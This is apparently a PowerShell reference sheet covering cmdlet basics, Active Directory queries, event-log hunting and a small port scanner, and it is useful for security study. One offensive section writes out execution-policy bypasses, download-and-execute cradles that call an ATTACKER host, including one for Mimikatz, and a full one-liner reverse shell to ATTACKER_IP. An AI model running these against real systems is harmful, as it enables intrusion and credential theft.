PowerShell¶

# Set the policy for the current user to allow local scripts
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

# Find all commands with the word "Process" in their name
Get-Command -Noun Process

# Get detailed help for the Get-Process command, including examples
Get-Help Get-Process -Full
Get-Help Get-Process -Examples

# See what properties and methods a process object has
Get-Process | Get-Member

# 1. Get-Process outputs a collection of process objects.
# 2. Where-Object filters these objects, keeping only those whose `CPU` property is greater than 10.
# 3. Sort-Object sorts the remaining objects by their `WorkingSet`-(memory) property.
# 4. Select-Object picks the top 5 and displays only their `ProcessName`, `Id`, and `CPU` properties.

Get-Process | Where-Object { $_.CPU -gt 10 } | Sort-Object -Property WorkingSet -Descending | Select-Object -First 5 -Property ProcessName, Id, CPU

$user = "0x1RIS"
$message = "Hello, $user" # "Hello, 0x1RIS"

$num = 10
if ($num -gt 5) {
    Write-Host "Number is greater than 5"
}

# Find all services that are currently running
Get-Service | Where-Object { $_.Status -eq "Running" }

# Short hand version
Get-Service | ? { $_.Status -eq "Running" }

# Select only the name and ID of all processes
Get-Process | Select-Object -Property ProcessName, Id

# Create a calculated property to show memory usage in MB
Get-Process | Select-Object ProcessName, @{Name="MemoryMB"; Expression={$_.WorkingSet / 1MB}}

# Sort files by size, largest first
Get-ChildItem | Sort-Object -Property Length -Descending

# Get the total size of all files in a directory
Get-ChildItem | Measure-Object -Property Length -Sum

# ForEach-Object loop (for the-pipeline)
Get-Service | ForEach-Object {
    Write-Host "Service found: $($_.Name)"
}

# foreach loop (for any-collection)
$users = @("alice", "bob", "charlie")
foreach ($user in $users) {
    Write-Host "Processing $user"
}

# In your terminal
.\my_script.ps1

function Get-SystemInfo {
    [CmdletBinding()]
    param (
        [string]$ComputerName = $env:COMPUTERNAME
    )

    Write-Host "--- System Info for $ComputerName ---"
    Get-CimInstance -ClassName Win32_OperatingSystem -ComputerName $ComputerName | Select-Object Caption, Version
    Get-CimInstance -ClassName Win32_ComputerSystem -ComputerName $ComputerName | Select-Object Manufacturer, Model
}

# Call the function
Get-SystemInfo -ComputerName "DC01"

try {
    # The -ErrorAction Stop is important to turn a non terminating error into one that `catch` will handle
    Get-ChildItem -Path "C:\non existent folder" -ErrorAction Stop
} catch {
    Write-Warning "An error occurred!"
    Write-Warning $_.Exception.Message
} finally {
    Write-Host "Cleanup block always runs."
}

# Get the owner of a process
Get-Process -Name "explorer" -IncludeUserName

# Stop a process by name
Stop-Process -Name "notepad" -Force

# Get all services that depend on the spooler service
Get-Service -Name "Spooler" -DependentServices

# Test if a server is listening on RDP (port-3389)
Test-NetConnection -ComputerName "SERVER01" -Port 3389

# Download a tool
Invoke-WebRequest -Uri "https://live.sysinternals.com/procexp.exe" -OutFile ".\procexp.exe"

# Get OS information
Get-CimInstance -ClassName Win32_OperatingSystem

# Find installed software
Get-CimInstance -ClassName Win32_Product

# List all USB devices that have ever been connected
Get-CimInstance -ClassName Win32_USBHub

# Find all domain admin accounts
Get-ADGroupMember -Identity "Domain Admins" -Recursive

# Get detailed properties for a user
Get-ADUser -Identity "j.smith" -Properties *

# Find users with non expiring passwords a common security finding
Search-ADAccount -PasswordNeverExpires -UsersOnly

# Find inactive computer accounts (not logged on in 90-days)
Search-ADAccount -ComputersOnly -AccountInactive -TimeSpan 90.00:00:00

# Navigate to a registry key
cd HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

# List values in the key (persistence-locations)
Get-ItemProperty -Path .

# Create a new key and value
New-Item -Path "HKCU:\Software\MyTestApp"
New-ItemProperty -Path "HKCU:\Software\MyTestApp" -Name "Version" -Value "1.0"

# Get the 10 most recent security events
Get-WinEvent -LogName Security -MaxEvents 10

# Filter for all successful login events (Event ID-4624)
$filter = @{LogName='Security'; ID=4624}
Get-WinEvent -FilterHashtable $filter -MaxEvents 50

# Bypass for the current process. The most common method.
powershell.exe -ExecutionPolicy Bypass

# Read a script from stdin
Get-Content .\MyScript.ps1 | powershell.exe -noprofile 

# Download and execute in one line
powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')"

# The classic download cradle
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')

# A slightly stealthier version using Invoke-RestMethod
IEX (irm 'http://ATTACKER/payload.ps1')

# Enter an interactive session on a remote computer
Enter-PSSession -ComputerName TARGET-PC

# Run a single command on multiple computers
Invoke-Command -ComputerName SERVER01, SERVER02 -ScriptBlock { Get-Process -Name "spoolsv" }

# A classic one liner TCP reverse shell
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# Load PowerView in memory to perform advanced Active Directory recon
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

# Now use PowerView's functions
Invoke-UserHunter -Stealth
Get-NetGPO -ComputerName DC01

# Hunt for suspicious processes with no file path or that have been deleted from disk
Get-CimInstance -ClassName Win32_Process | Where-Object { ! $_.ExecutablePath -or !(Test-Path $_.ExecutablePath) }

# Hunt for suspicious network connections
Get-NetTCPConnection | Where-Object { $_.State -eq 'Established' -and $_.RemotePort -ne 443 -and $_.RemotePort -ne 80 }

# Hunt for encoded commands in recent event logs (a sign of-obfuscation)
$filter = @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
    StartTime = (Get-Date).AddDays(-1)
}
Get-WinEvent -FilterHashtable $filter | Where-Object { $_.Message -match "-enc|encodedcommand" }

Get-Process | ForEach-Object {
    $process = $_
    try {
        $signature = Get-AuthenticodeSignature -FilePath $process.Path -ErrorAction Stop
        if ($signature.SignerCertificate.Subject -notlike "*Microsoft*") {
            Write-Host "[NON MICROSOFT] $($process.ProcessName) ($($process.Id)) by $($signature.SignerCertificate.Subject) is running."
        }
    } catch {
        # Errors will happen for system processes with no path, etc.
    }
}

$startTime = (Get-Date).AddDays(-7)
$filter = @{
    LogName = 'Security'
    ID = 4625
    StartTime = $startTime
}

$failedLogins = Get-WinEvent -FilterHashtable $filter -ErrorAction SilentlyContinue

if ($failedLogins) {
    $failedLogins | ForEach-Object {
        $userName = $_.Properties[5].Value
        $ipAddress = $_.Properties[19].Value
        $time = $_.TimeCreated
        Write-Host "[!] Failed login for user '$userName' from IP $ipAddress at $time"
    }
} else {
    Write-Host "[+] No failed login events found in the last 7 days."
}

[CmdletBinding()]
param (
    [Parameter(Mandatory=$true)]
    [string]$ComputerName,

    [Parameter(Mandatory=$true)]
    [int[]]$Ports
)

Write-Host "Scanning $ComputerName..."

foreach ($port in $ports) {
    try {
        $socket = New-Object System.Net.Sockets.TcpClient
        # BeginConnect is non blocking, but we use a short timeout
        $asyncResult = $socket.BeginConnect($ComputerName, $port, $null, $null)
        $success = $asyncResult.AsyncWaitHandle.WaitOne(200, $false) # 200ms timeout

        if ($success) {
            Write-Host "[+] Port $port is OPEN" -ForegroundColor Green
            $socket.EndConnect($asyncResult) # Clean up
        } else {
            # Write-Verbose "Port $port is closed"
        }
    } catch {
        # Write-Warning "Exception on port $port: $_"
    } finally {
        if ($socket) { $socket.Close() }
    }
}